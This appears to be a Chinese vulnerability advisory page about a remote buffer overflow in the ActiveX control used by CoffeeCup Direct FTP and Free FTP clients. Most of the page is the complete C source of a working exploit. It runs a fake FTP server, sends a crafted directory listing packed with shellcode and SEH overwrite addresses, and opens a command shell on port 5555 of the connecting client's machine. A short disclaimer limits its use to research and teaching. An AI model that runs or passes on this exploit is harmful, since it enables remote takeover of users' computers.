安全研究
安全漏洞
CoffeeCup FTP客户端远程缓冲区溢出漏洞
发布日期：2004-11-22
更新日期：2004-11-23
受影响系统：
CoffeeCup Software CoffeeCup Direct FTP 6.2.0.62描述：
CoffeeCup Software CoffeeCup Free FTP 3.0.0.10
CoffeeCup FTP是Windows操作系统下的客户端。
CoffeeCup FTP使用的插件存在问题，远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击，可能以进程权限执行任意指令。
CoffeeCup FTP使用的"WeOnlyDo! COM Ftp DELUXE" ActiveX控件来与FTP服务程序通信，由于此插件(WodFtpDLX.ocx)不正确处理FTP服务器发送的超长文件名数据，可导致发生缓冲区溢出，精心构建文件名数据可能以进程权限执行任意指令。
<*来源：Komrade （unsecure@altervista.org）
链接：http://unsecure.altervista.org/security/coffeecup.htm
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*******************************************************************************************************
CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
created by Komrade
e-mail: unsecure(at)altervista(dot)org
web: http://unsecure.altervista.org
Tested on:
CoffeeCup Direct FTP 6.2.0.62
CoffeeCup Free FTP 3.0.0.10
on a Windows XP Professional sp2 operating system.
This exploit creates a fake FTP server on your machine, waiting for the
connection of an FTP client.
After the exploit is sent a shell (command prompt) is spawn on port 5555
of the target machine.
This exploit works locally or remotely.
Usage: coffecupbof [direct | free] [-l] [-r server IP]
Options:
direct | free "direct" to exploit a CoffeeCup Direct FTP client
"free" to exploit a CoffeeCup Free FTP client
-l executed locally
-r serverIP executed remotely. You need to specify the address
of the FTP server for the PASV command (Insert your IP address)
Examples:
C:\> coffeecupbof direct -l exploit for CoffeeCup Direct FTP executed locally
C:\> coffeecupbof free -r 10.0.0.1 exploit for CoffeeCup Free FTP executed remotely
*******************************************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define FTP_PORT 21
#define PASV_PORT 1106
int version, wait = TRUE;
DWORD WINAPI fileList(LPVOID data);
int main(int argc,char **argv){
SOCKET sock, client;
struct sockaddr_in sock_addr,client_addr;
WSADATA data;
WORD p;
char mess[4096], received[512], addr[32];
int lun, n, i, err;
HANDLE fileListH;
DWORD fileListId, exitCode;
p = MAKEWORD(2, 0);
WSAStartup(p, &data);
printf("------------------------------------------------------------------------------\r\n");
printf("\tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
printf("\t\t\tcreated by Komrade\r\n\r\n");
printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
printf("\t\tweb: http://unsecure.altervista.org\r\n");
printf("------------------------------------------------------------------------------\r\n\r\n");
if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) || (strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]\r\n\r\n");
printf("Options:\r\n");
printf(" direct | free\t\"direct\" to exploit a CoffeeCup Direct FTP client\r\n");
printf(" \t\t\"free\" to exploit a CoffeeCup Free FTP client\r\n");
printf(" -l\t\tworks locally.\r\n");
printf(" -r server IP\tworks remotely. You need to specify the address of the\r\n");
printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n\r\n");
printf("Examples:\r\n");
printf(" coffeecupbof direct -l\t\texploit for CoffeeCup Direct FTP\r\n\t\t\t\texecuted locally\r\n");
printf(" coffeecupbof free -r 10.0.0.1\texploit for CoffeeCup Free FTP\r\n\t\t\t\texecuted remotely\r\n");
return 0;
}
if(strcmp(argv[1], "direct") == 0)
version = 1;
else
version = 2;
if(strcmp(argv[2], "-r") == 0){
char *token[4];
token[0]=strtok(argv[3], ".");
for(i = 1; i < 4; i++){
token[i]=strtok(NULL, ".");
}
strcpy(addr, "\0");
for(i=0; (i < 4) && (token[i]!= NULL); i++){
strlcat(addr, token[i], 16);
strcat(addr, ",");
}
}
else
strcpy(addr, "127,0,0,1,");
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(FTP_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen()\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
printf("Opening the FTP port and waiting for connections...\r\n");
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));
strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
while(wait == TRUE){
Sleep(800);
n = recv(client, received, sizeof(mess), 0);
if (n < 0){
printf("Error in recv()\r\n");
return -1;
}
received[n]=0;
printf("CLIENT: %s", received);
if (stricmp("USER", strtok(received, " ")) == 0)
strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
else if (stricmp("PASS", strtok(received, " ")) == 0)
strcpy(mess, "230 Anonymous user logged in.\r\n");
else if (stricmp("PWD\r\n", received) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("CWD", strtok(received, " ")) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("TYPE", strtok(received, " ")) == 0)
strcpy(mess, "200 Type set to A.\r\n");
else if (stricmp("PASV\r\n", received) == 0){
fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
if (fileListH == NULL)
printf("Error in CreateThread() %d", GetLastError());
wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
}
else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
printf("SERVER: %s\r\n", mess);
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
wait = FALSE;
do{
GetExitCodeThread(fileListH, &exitCode);
Sleep(100);
}
while(exitCode == STILL_ACTIVE);
printf("< Long file name sent to client >\r\n\r\n");
strcpy(mess, "226 Transfer complete.\r\n");
}
else
strcpy(mess, "550 Unimplemented\r\n");
printf("SERVER: %s\r\n", mess);
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
}
printf("Wait.......");
Sleep(2000);
printf("Exploit succesfully sent!\r\n");
printf("Connect to %s port 5555 for the shell\r\n", inet_ntoa(client_addr.sin_addr));
closesocket (client);
closesocket(sock);
WSACleanup();
return 0;
}
DWORD WINAPI fileList(LPVOID data){
char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
"\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
"\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
"\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
"\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
"\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
"\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
"\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
"\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
"\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
"\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
"\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
"\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
"\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
"\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
"\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
"\xF8\xFA\xFA\xFC\xE9\xED\x99";
char shelljump1[] = "\x90\xEB\xBA\x90";
char shelljump2[] =
"\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";
char SEHAddr1[] = "\x50\x39\x06\x6D";
char SEHAddr2[] = "\x0D\xA8\x03\x6D";
SOCKET sock, client, list;
struct sockaddr_in sock_addr,client_addr;
WSADATA wData;
WORD p;
char mess[4096];
int lun, n, i, err;
p = MAKEWORD(2, 0);
WSAStartup(p, &wData);
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(PASV_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen().\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
while (wait == TRUE)
Sleep(100);
strcpy(mess, "03-04-81 12:00PM 3 ");
for(i=strlen(mess); i<100; i++)
mess[i]=0x90;
mess[i]='\0';
strcat(mess, shellcode);
for(i=strlen(mess); i<1000; i++)
mess[i]=0x90;
mess[i]='\0';
strcat(mess, shelljump2);
for(i=strlen(mess); i<1079; i++)
mess[i]=0x90;
mess[i]='\0';
strcat(mess, shelljump1);
if (version == 1)
strcat(mess, SEHAddr1);
else
strcat(mess, SEHAddr2);
for(i=strlen(mess); i<1300; i++) // cause the exception
mess[i]='b';
mess[i]='\0';
strcat(mess, "\r\n");
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
closesocket(sock);
closesocket(client);
WSACleanup();
return 0;
}
建议：
厂商补丁：
CoffeeCup Software
------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.coffeecup.com/
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